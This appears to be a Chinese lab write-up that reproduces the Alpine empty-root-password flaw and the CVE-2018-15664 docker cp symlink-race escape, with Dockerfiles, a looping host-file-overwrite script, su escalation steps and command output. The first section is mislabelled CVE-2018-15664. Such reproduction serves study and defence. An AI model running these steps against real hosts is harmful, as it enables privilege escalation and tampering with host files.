一、漏洞信息

漏洞名称:

CVE-2018-15664

漏洞概述:

在3.3~3.9版本的Alpine镜像中,root用户密码被设置为空,攻击者可能在攻入容器后借此提升到容器内部root权限,CVSS 3.0评分高达9.8

二、漏洞利用

漏洞利用实践:

1、拉取一个3.3版本的Alpine镜像,构建容器并检查一下密码信息文件”/etc/shadow”,如下所示,root密码记录为空

  1. #官方镜像Pull失败
  2. root@Ubuntu-master:~/HSCS# docker pull alpine:3.3
  3. Error response from daemon: Get https://registry-1.docker.io/v2/library/alpine/manifests/3.3: net/http: TLS handshake timeout
  4. #更换镜像仓库
  5. root@Ubuntu-master:~/HSCS# docker pull gliderlabs/alpine:3.3
  6. 3.3: Pulling from gliderlabs/alpine
  7. 40d2dd735025: Pull complete
  8. Digest: sha256:02543032e5431a50bb4c519c4974359c529d3473f844b26c297b890912f02093
  9. Status: Downloaded newer image for gliderlabs/alpine:3.3
  10. #查看root密码文件,确实为空
  11. root@Ubuntu-master:~/HSCS# docker run -it --rm gliderlabs/alpine:3.3 cat /etc/shadow | grep root
  12. root:::0:::::
2、构建镜像,添加用户non_root
  1. #DockerFile文件
  2. root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# cat Dockerfile
  3. FROM alpine:3.5
  4. RUN adduser -S non_root
  5. USER non_root
  1. #构建镜像
  2. root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker build -f Dockerfile --network=host -t alpine:cve-2019-5021 ./
  3. Sending build context to Docker daemon 3.072kB
  4. Step 1/3 : FROM alpine:3.5
  5. ---> f80194ae2e0c
  6. Step 2/3 : RUN adduser -S non_root
  7. ---> Running in f1cba61940d8
  8. Removing intermediate container f1cba61940d8
  9. ---> 767b11b95c76
  10. Step 3/3 : USER non_root
  11. ---> Running in 008b63c44243
  12. Removing intermediate container 008b63c44243
  13. ---> f0bd2ea873b6
  14. Successfully built f0bd2ea873b6
  15. Successfully tagged alpine:cve-2019-5021
3、根据新镜像运行一个容器,查看当前用户并尝试切换root用户,发现并不能切换到root用户。原因是官方对此的回应是,Alpine镜像使用busybox作为核心工具链,通过/etc/securetty文件限制了可以登入root用户的tty设备。除非是用户主动安装shadow和linux-pam来代替默认工具链,否则这个漏洞并不好利用 shell root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker run -it --rm alpine:cve-2019-5021 /bin/sh / $ whoami non_root / $ su su: must be suid to work properly / $ 4、安装shadow,重新构建镜像
  1. #修改DockerFile文件,安装shadow
  2. root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# cat New_Dockerfile
  3. FROM alpine:3.5
  4. RUN apk add --no-cache shadow
  5. RUN adduser -S non_root
  6. USER non_root
  1. #根据新的DockerFile构建镜像
  2. root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker build -f New_Dockerfile --network=host -t newalpine:cve-2019-5021 ./
  3. Sending build context to Docker daemon 3.072kB
  4. Step 1/4 : FROM alpine:3.5
  5. ---> f80194ae2e0c
  6. Step 2/4 : RUN apk add --no-cache shadow
  7. ---> Using cache
  8. ---> 4c41341b44b2
  9. Step 3/4 : RUN adduser -S non_root
  10. ---> Using cache
  11. ---> 98de3d7b04f7
  12. Step 4/4 : USER non_root
  13. ---> Using cache
  14. ---> f5238c36d00e
  15. Successfully built f5238c36d00e
  16. Successfully tagged newalpine:cve-2019-5021
5、根据新创建的镜像newalpine启动容器,并执行root用户切换
  1. #容器内成功提权到root用户
  2. root@Ubuntu-node4:~/cloud-native-security-book-main/cloud-native-security-book-main/code/0303-gongyinglian/01-CVE-2019-5021-alpine# docker run -it --rm newalpine:cve-2019-5021 /bin/sh
  3. / $ whoami
  4. non_root
  5. / $ su
  6. / # whoami
  7. root
  8. / #

三、总结

该漏洞的利用过程十分简单,如果有人使用了旧版本的alpine基础镜像,并且安装了shadow,攻击者若获取到低权限的shell就等于获取到了root权限,利用过程简单,危害严重,威胁评分高也理所当然。

一、漏洞信息

漏洞名称:

CVE-2018-15664:符号链接替换漏洞

漏洞概述:

在18.06.1-ce-rc2版本之前的Docker中,docker cp命令对应的后端API存在基于竞争条件的符号链接替换漏洞,能够导致目录穿越。攻击者可利用此漏洞以root权限实现宿主机文件系统的任意读写,CVSS 3.x评分为7.5分。

漏洞原理:

CVE-2018-15664实际上是一个TOCTOU(time-of-check to time-of-use)问题,属于竞态条件漏洞。简单来说,这个问题指的是在程序对某对象进行安全检查和使用该对象的步骤之间存在间隙,攻击者可以先构造并放置一个能够通过安全检查的合法对象,顺利通过目标程序的安全检查流程,然后立即使用恶意对象替换之前的合法对象。这样一来,目标程序真正使用的实际上是被替换后的恶意对象。 下图为TOCTOU问题的原理,对于CVE-2018-15664来说,当用户执行docker cp命令后,Docker守护进程收到这个请求,就会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则先在容器内部将其解析成路径字符串,留待后用。一眼看上去,该流程似乎正常,但要考虑到容器内部环境是不可控的。如果在Docker守护进程检查复制路径时,攻击者先在这里放置一个非符号链接的常规文件或目录,检查结束后,攻击者赶在Docker守护进程使用这个路径前将其替换为一个符号链接,那么这个符号链接就会于被打开时在宿主机上解析,从而导致目录穿越。

🐞[Docker] Alpine镜像漏洞利用 %26 符号链接替换漏洞 - 图1

图1 正常流程(左)与TOCTOU恶意利用流程(右)

二、漏洞复现

复现环境:

1. 开源靶机项目metarget,项目地址如下,根据项目中依赖要求安装即可:
  1. https://github.com/brant-ruan/metarget.git
2. 安装完metarget后,一键搭建符合本CVE的漏洞环境:
  1. root@Ubuntu-node4:~/metarget# ./metarget cnv install cve-2018-15664
  2. cve-2018-15664 is going to be installed
  3. uninstalling current docker gadgets if applicable
  4. installing prerequisites
  5. adding apt repository deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable
  6. adding apt repository deb http://archive.ubuntu.com/ubuntu xenial-updates universe
  7. adding apt repository deb http://archive.ubuntu.com/ubuntu bionic-updates universe
  8. installing docker-ce with 18.03.1~ce~3-0~ubuntu version
  9. cve-2018-15664 successfully installed

复现步骤:

1. 随此书的源代码仓库路径如下:
  1. https://github.com/brant-ruan/cloud-native-security-book
2. 根据对应章节的案例,获取所需源代码:

🐞[Docker] Alpine镜像漏洞利用 %26 符号链接替换漏洞 - 图2

3. 下载源代码后,查看该CVE目录结构:
  1. root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race# pwd
  2. /root/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race
  3. root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race# tree
  4. .
  5. |-- build
  6. | |-- Dockerfile
  7. | `-- symlink_swap.c
  8. |-- run_read.sh
  9. `-- run_write.sh
  10. 1 directory, 4 files
  11. root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race#
4. 目录分析: build目录包含了用来制作恶意镜像的Dockerfile和容器内漏洞利用源代码<font style="color:rgba(0, 0, 0, 0.9);">symlink_swap.c</font> Dockerfile的主要内容是构建漏洞利用程序symlink_swap并将其放在容器根目录下,并在根目录下创建一个<font style="color:rgba(0, 0, 0, 0.9);">w00t_w00t_im_a_flag</font>文件,内容为<font style="color:rgba(0, 0, 0, 0.9);">“FAILED -- INSIDE CONTAINER PATH”</font>。容器启动后执行的程序(Entrypoint)即为<font style="color:rgba(0, 0, 0, 0.9);">/symlink_swap</font> symlink_swap.c的任务是在容器内创建指向根目录“/”的符号链接,并不断地交换符号链接(由命令行参数传入,如“/totally_safe_path”)与一个正常目录(例如“/totally_safe_path-stashed”)的名字。这样一来,在宿主机上执行docker cp时,如果首先检查到“/totally_safe_path”是一个正常目录,但在后面执行复制操作时“/totally_safe_path”却变成了一个符号链接,那么Docker将在宿主机上解析这个符号链接 CVE-2018-15664属于竞态条件漏洞,不是每次都能复现。为了增大漏洞被触发的几率,我们需要在宿主机上不断执行docker cp命令(高频使用dockercp命令在现实中十分不常见,这里主要是为了验证可行性,证明“至少现实中这种漏洞是有机会被利用的”)。run_read.sh和run_write.sh脚本正是用于模拟受害者在宿主机上不断执行docker cp命令。那么,为什么会有两个脚本呢? 事实上,这两个脚本模拟的是不同的场景:·run_read.sh模拟受害者不断使用docker cp将容器内文件复制到宿主机上的场景,一旦漏洞触发,容器内恶意符号链接在宿主机文件系统解析后指向的文件将被复制到受害者设定的宿主机目录下。·run_write.sh模拟受害者不断使用docker cp将宿主机上文件复制到容器内的场景,一旦漏洞触发,受害者指定的宿主机文件将覆盖容器内恶意符号链接在宿主机文件系统解析后指向的文件 5. 脚本分析:
  1. #定义两个目录,path
  2. SYMSWAP_PATH=/totally_safe_path
  3. SYMSWAP_TARGET=/w00t_w00t_im_a_flag
  4. # 根目录下创建Flag,并写入内容"FAILED -- HOST FILE UNCHANGED"
  5. echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
  6. sudo chmod 0444 "$SYMSWAP_TARGET"
  7. # 构建恶意镜像并运行容器
  8. docker build -t cyphar/symlink_swap \
  9. --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
  10. --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
  11. ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
  12. # 本地目录创建文件写入"SUCCESS -- HOST FILE CHANGED"
  13. echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
  14. # 反复执行docker ps命令复现漏洞
  15. while true
  16. do
  17. docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
  18. done
6. 执行脚本后,恶意容器运行,然后不断执行docker cp命令,漏洞未触发时,宿主机上的/w00t_w00t_im_a_flag文件内容为:
  1. FAILED -- HOST FILE UNCHANGED
7. 如果漏洞成功触发,容器内的符号链接“/totally_safe_path”将在宿主机文件系统上解析,因此docker cp实际上是将/src_file文件复制到了宿主机上的/w00t_w00t_im_a_flag文件位置。也就是说,此时宿主机上/w00t_w00t_im_a_flag文件内容将被改写为:
  1. root@Ubuntu-node4:~# cat /w00t_w00t_im_a_flag
  2. SUCCESS -- HOST FILE CHANGED
  3. root@Ubuntu-node4:~#
8. 为了帮助理解,漏洞利用过程,手动运行脚本
  1. #创建镜像,构建漏洞利用程序symlink_swap并将其放在容器根目录
  2. root@Ubuntu-node4:~/cloud-native-security-book-main/code/0302-#U5f00#U53d1#U4fa7#U653b#U51fb/02-CVE-2018-15664/symlink_race# docker build -t cyphar/symlink_swap --build-arg "/totally_safe_path" --build-arg "/w00t_w00t_im_a_flag" build/ Sending build context to Docker daemon 6.144kB
  3. Step 1/11 : FROM opensuse/leap
  4. ---> aaff2067e724
  5. Step 2/11 : RUN zypper in -y gcc glibc-devel-static
  6. ---> Using cache
  7. ---> a15d6a5af357
  8. Step 3/11 : RUN mkdir /builddir
  9. ---> Using cache
  10. ---> 0040d2b9ff32
  11. Step 4/11 : COPY symlink_swap.c /builddir/symlink_swap.c
  12. ---> Using cache
  13. ---> 08160cadac9f
  14. Step 5/11 : RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c
  15. ---> Using cache
  16. ---> bfd693f2d7a4
  17. Step 6/11 : FROM opensuse/leap
  18. ---> aaff2067e724
  19. Step 7/11 : ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
  20. ---> Using cache
  21. ---> 8d19d015a84c
  22. Step 8/11 : ARG SYMSWAP_PATH=/totally_safe_path
  23. ---> Using cache
  24. ---> d7fa1724b5e4
  25. Step 9/11 : RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
  26. ---> Using cache
  27. ---> aed51efc12e0
  28. Step 10/11 : COPY --from=0 /builddir/symlink_swap /symlink_swap
  29. ---> Using cache
  30. ---> ef9ac07b1dd8
  31. Step 11/11 : ENTRYPOINT ["/symlink_swap"]
  32. ---> Using cache
  33. ---> f09ea941a2f1
  34. [Warning] One or more build-args [/totally_safe_path /w00t_w00t_im_a_flag] were not consumed
  35. Successfully built f09ea941a2f1
  36. Successfully tagged cyphar/symlink_swap:latest
  37. #启动容器,并获取容器id
  38. root@Ubuntu-node4:~# docker run --rm -d cyphar/symlink_swap "/totally_safe_path"
  39. 13c088d13692a78713e60c9ced490042923e46a415a450b0fd0fe910e66629d4
  40. #查看容器及内部文件,symlink_swap程序不断交换符号链接(totally_safe_path和totally_safe_path-stashed)
  41. root@Ubuntu-node4:~# docker exec -ti 13c088d13692 bash
  42. 13c088d13692:/ # ls
  43. bin dev home lib64 opt root sbin srv sys totally_safe_path usr w00t_w00t_im_a_flag
  44. boot etc lib mnt proc run selinux symlink_swap tmp totally_safe_path-stashed var
  45. 13c088d13692:/ #
  46. #容器内简单看一下目录结构,重点查看totally_safe_path和totally_safe_path-stashed
  47. # 此时totally_safe_path为正常文件,totally_safe_path-stashed为链接文件
  48. 13c088d13692:/ # ls -l
  49. d????????? ? ? ? ? ? totally_safe_path
  50. l????????? ? ? ? ? ? totally_safe_path-stashed
  51. -????????? ? ? ? ? ? w00t_w00t_im_a_flag
9.此时主机flag内容如下
  1. root@Ubuntu-node4:~# cat /w00t_w00t_im_a_flag
  2. FAILED -- HOST FILE UNCHANGED
  3. root@Ubuntu-node4:~#
10. 不断执行docker cp命令进行文件拷贝,一段时间后查看宿主机根目录flag
  1. #实验过程中发现这个容器有问题,起来一会主机内存就会爆掉,主机就卡死
  2. root@Ubuntu-node4:~# cat /w00t_w00t_im_a_flag
  3. SUCCESS -- HOST FILE CHANGED
  4. root@Ubuntu-node4:~#

三、总结

本例子使用符号链接指向根目录,搞清楚原理后,理论上可以指向任意目录,一个没有root权限的用户,如果可以执行<font style="color:rgba(0, 0, 0, 0.9);">docker cp</font>命令,就可以通过此漏洞完成提权操作。